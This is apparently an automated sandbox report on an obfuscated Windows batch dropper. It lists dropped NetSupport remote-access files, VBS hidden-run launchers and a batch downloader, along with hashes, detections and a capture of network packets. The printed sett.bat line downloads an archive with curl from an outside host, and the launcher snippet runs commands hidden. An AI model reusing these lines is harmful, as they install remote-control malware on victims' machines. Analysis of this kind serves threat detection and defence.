SHA-512:	90DFAC808C2009439EBFF3EF0FCFB95CB4FCE1176B9C5D7587A6908E66687DC0F6592D29F71BF1C19A73F82522298625052791E9620BEEE285BEBE613A00D091
Malicious:	false
Preview:	7z..'.....fG-.#.....%.......,.VV....N]...........&...@...ZtA.4..x=i...h.5.UBh.K....KB}"GA..........x.....6.c.8..V.>..3.3.~...b..X......W.b...w....ubQ...h[....`..3)....>......U..K..Y.0}(.g..7..brw..y..../3z.t...,.g.@...aJ......0K........'Q......s.2!.@..7.g..~....a..........V.N3....../Mr$.yL.N...CKu8."N.i......#w..Oc...!..6.c..0......%.?.0..:...d....F..n..!....zz..v.9W..UB.n0........w..P...JD......L&..^G.o..(D..`y..e.N.B/..l...&..L..,.$..3.l.<G....C.a5...S.70g}...s........;.....#.#BlO.....h.5....u...y......NUU...B..S.m.......Q..E.D...6.. K.r.E....A.8..J;...5..q..(......V#...'......)....,.M.I..s...#j..s.%.Z$....n<.......a...53u.,....^o....7j...;.2....1.N)p..>........L....qK\..$....@U.....I.F@.E+.....~......aI^...w....V.t..o...2U,".d.4.......}..<.L.U.....z..a..7u.U1..ua`.....T.7....a.$.....N;..t.Fa7...?..s9.....ICU...;.w..F.w.[A@x.....U.k.$..!D.......C$h.I.._.h*...q...T...mN\|....?/.......us.>..M..+..h......yBF.-...S...?b.f)......L..8......{f

C:\ProgramData\msvcr100.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\nskbfltr.inf

Process:	C:\ProgramData\7zz.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\ProgramData\nsm_vpro.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\ProgramData\pcicapi.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\putty.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1647912
Entropy (8bit):	6.92723334837222
Encrypted:	false
SSDEEP:	49152:TDXOPFJK9bbYF8paMB8QMy3bHwPXNg/7UyW+ekBeZmn:T0WhreNg/X
MD5:	F838FDAFD0881CF1E6040A07D78E840D
SHA1:	2A35456B2F67BD12905378BEB6EAF373F6A0D0D1
SHA-256:	FC6F9DBDF4B9F8DD1F5F3A74CB6E55119D3FE2C9DB52436E10BA07842E6C3D7C
SHA-512:	5C0389EB79E5C2638C0D770CDE1A5C56A237AA596503966D4F226A99F94531AF501F8BF4EFA00722E12998F73271E50D8C187F8E984125AFFE40B1AB231503B4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....\c.........."......Z...p.................@.............................`......D.....`.............................................................X.......xl......(W...@..................................(......@...........(................................text...fY.......Z.................. ..`.rdata.......p.......^..............@..@.data....U...p.......^..............@....pdata..xl.......n...n..............@..@.00cfg..8....@......................@..@.gxfg...`*...P...,..................@..@.tls................................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc.......@... ..................@..B........................................................................................................................................................................................................................

C:\ProgramData\remcmdstub.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.446503462786185
Encrypted:	false
SSDEEP:	1536:Tf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQhiK:D6f7cjJ4U4I1jFqy92hiK
MD5:	6FCA49B85AA38EE016E39E14B9F9D6D9
SHA1:	B0D689C70E91D5600CCC2A4E533FF89BF4CA388B
SHA-256:	FEDD609A16C717DB9BEA3072BED41E79B564C4BC97F959208BFA52FB3C9FA814
SHA-512:	F9C90029FF3DEA84DF853DB63DACE97D1C835A8CF7B6A6227A5B6DB4ABE25E9912DFED6967A88A128D11AB584663E099BF80C50DD879242432312961C0CFE622
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......o....@....................................<.......T...............x)..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\sett.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.295243778675648
Encrypted:	false
SSDEEP:	6:CxBR2923f99oRfFlIw8UlLAHbKx48mfHF7IHF41923f9oHy:cnz3QfF0C0vZd7IlPd
MD5:	2B4E497F6819F1A086E87577EC30A575
SHA1:	D18BD50BB9DE3525E58AE2B3F3BAE9F5ECC0390A
SHA-256:	03E73F0415063DBF0061FC24AC4750EE8307FE73C8F18DA9A114ECFDD41C3C94
SHA-512:	4C31E0C9DB2BAC9ED377E227B27746F987A9223B7A8CE27D0DC9FEF79F69093614C63E1A6CE8F330D70D9519B1708B98FC36AA3C0BD9592A75CB39F2972CBE5F
Malicious:	false
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/document.jpg" ( curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z" -o "C:\ProgramData\lol.7z" ) .."C:\Users\user\AppData\Local\Temp/lol.7z"..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\loca[1].htm

Process:	C:\ProgramData\client32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	2.8402239289418514
Encrypted:	false
SSDEEP:	3:yAcn:yV
MD5:	020DF0663B4F5741AD652976C4207B0B
SHA1:	50AAA69D3EA68A7B16AA8FCBD866A6598EC39392
SHA-256:	0B4688799BA0DF92A3730B63635CC57F19DF94357AE63850AB96771A5711A3E1
SHA-512:	A6CA0A74AC46AB3A42B61A534BD97D167DF6900627E9076D75C40744D9B87EF71C26C9D8C797D5B410BFEF8A7805B87DE81CCC9BB76743B69678C083E3B07AE9
Malicious:	false
Preview:	47.1772,8.42719

C:\Users\user\AppData\Local\Temp\b1.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b2.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b3.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

\Device\ConDrv

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	668
Entropy (8bit):	5.0901633025236634
Encrypted:	false
SSDEEP:	12:p5gXLDM+zWZiTkI0d4qHDaoK3dR6osPChYT1kmLB806GLYIQKI07Nx5:p5gXZWZiTFntj6lPHHNIIv5
MD5:	7DEE58EFC72A7C38D2AB6B84CB589D9D
SHA1:	05C4C7CB7236E085F1E3F068BE73DDB4B79B1F73
SHA-256:	CF53835CFCCDB818B641A2B6456F2CFEED69B3030BBD431069FF5E82E9501CAE
SHA-512:	A21050E022CCAC3A7038E09589FEAB6C7B851474C79DBB10E2DFDCE3F31F352F77FCC12B29DB8323EA4EB3FDABD65C9748F8A16C77485E77DB6234958720F31B
Malicious:	false
Preview:	..7-Zip (A) 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18....Processing archive: C:\ProgramData\lol.7z....Extracting CacheDate.dat..Extracting CacheMD5.dat..Extracting CacheOther.dat..Extracting CacheURL.dat..Extracting NSM.ini..Extracting nsm_vpro.ini..Extracting nskbfltr.inf..Extracting NSM.LIC..Extracting client32.ini..Extracting HINTSS.txt..Extracting client32.exe..Extracting remcmdstub.exe..Extracting HTCTL32.DLL..Extracting msvcr100.dll..Extracting pcicapi.dll..Extracting PCICHEK.DLL..Extracting PCICL32.DLL..Extracting TCCTL32.DLL..Extracting putty.exe....Everything is Ok....Files: 19..Size: 7111941..Compressed: 2305650..

\Device\Null

Process:	C:\Windows\System32\reg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (6291), with no line terminators
Entropy (8bit):	4.689468113177968
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	tUUPQygorhzFkIcHuB.bat
File size:	12'584 bytes
MD5:	d915e6d4a7e64a25bfe1717ac1f5b501
SHA1:	06e40f582d31d9d1b9d7817e26fd348859700800
SHA256:	6054f328f8d54d0a54f5e3b90cff020e139105eb5aa5a3be52c29dbea6289c30
SHA512:	785bd76f044137d7efaa81026d8bbefcaf5b12bbc7a371b8ffd2cd65392d957261f5d37b839a760c41c3e07fba3301e6cce2018457341a1070b6f361bb193f78
SSDEEP:	384:CsH2gXWsqXSObLUq/PAQG/6cZrQZDHluO/h24LdFmFZdtd3kvCAoz:CR/IQNxdmZdtd3kvCAoz
TLSH:	E0425A2C1AC10FCFB03AC816E563C53E1A8FB97E536FA4D77478B76548E2619E40E291
File Content Preview:	..&@cls&@set "Z.h.=80@rVvoMwZD3yu6jYEd5QOJXcfabhPq Tt9KCBHseglzxIRWpkim47Un1NAGLSF2".%Z.h.:~2,1%%Z.h.:~39,1%%Z.h.:~40,1%%Z.h.:~33,1%%Z.h.:~31,1%"%Z.h.:~36,1%%Z.h.:~22,1%.=%Z.h.:~31,1%%Z.h.:~47,1%%Z.h.:~57,1%%Z.h.:~56,1%%Z.h.:~35,1%%Z.h.:~37,1%%Z.h.:~55,1%

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 18, 2023 17:37:05.826410055 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:05.826476097 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:05.826570988 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:05.844688892 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:05.844718933 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:05.978276014 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:05.978421926 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.047986984 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.048022032 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.048806906 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.054879904 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.096297026 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.174978971 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.175052881 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.175081015 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.175160885 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.175192118 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.175209999 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.175256014 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.175282001 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.175306082 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.175333977 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.175358057 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.240119934 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.240186930 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.240331888 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.240331888 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.240370035 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.240423918 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.241184950 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.241249084 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.241281986 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.241303921 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.241333008 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.241352081 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.241816044 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.241873026 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.241924047 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.241950989 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.241978884 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.242006063 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.299875021 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.299907923 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.300050974 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.300087929 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.300122976 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.300149918 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.300708055 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.300748110 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.300826073 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.300826073 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.300848961 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.300904036 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.301655054 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.301682949 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.301786900 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.301805019 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.301817894 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.301850080 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.302372932 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.302400112 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.302469969 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.302480936 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.302505970 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.302522898 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.302686930 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.302711964 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.302761078 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.302771091 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.302798986 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.302812099 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.355650902 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.355695963 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.355827093 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.355844021 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.355902910 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.356187105 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.356223106 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.356358051 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.356358051 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.356374025 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.356420040 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.357115984 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.357152939 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.357225895 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.357239008 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.357276917 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.357285023 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.359241962 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.359285116 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.359344006 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.359354973 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.359390974 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.359407902 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.361222982 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.361259937 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.361332893 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.361342907 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.361371994 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.361394882 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.361639023 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.361691952 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.361784935 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.361795902 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.361828089 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.361849070 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.362461090 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.362499952 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.362552881 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.362562895 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.362591028 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.362612963 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.410717010 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.410754919 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.410917044 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.410953999 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.411015034 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.411391973 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.411418915 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.411465883 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.411482096 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.411519051 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.411560059 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.413367987 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.413398027 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.413496971 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.413516998 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.413549900 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.413573980 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.414716959 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.414745092 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.414819002 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.414836884 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.414904118 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.414904118 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.417407990 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.417438984 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.417536974 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.417560101 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.417587996 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.417608976 CEST	49720	443	192.168.2.5	188.127.225.160
Jul 18, 2023 17:37:06.418042898 CEST	443	49720	188.127.225.160	192.168.2.5
Jul 18, 2023 17:37:06.418066025 CEST	443	49720	188.127.225.160	192.168.2.5
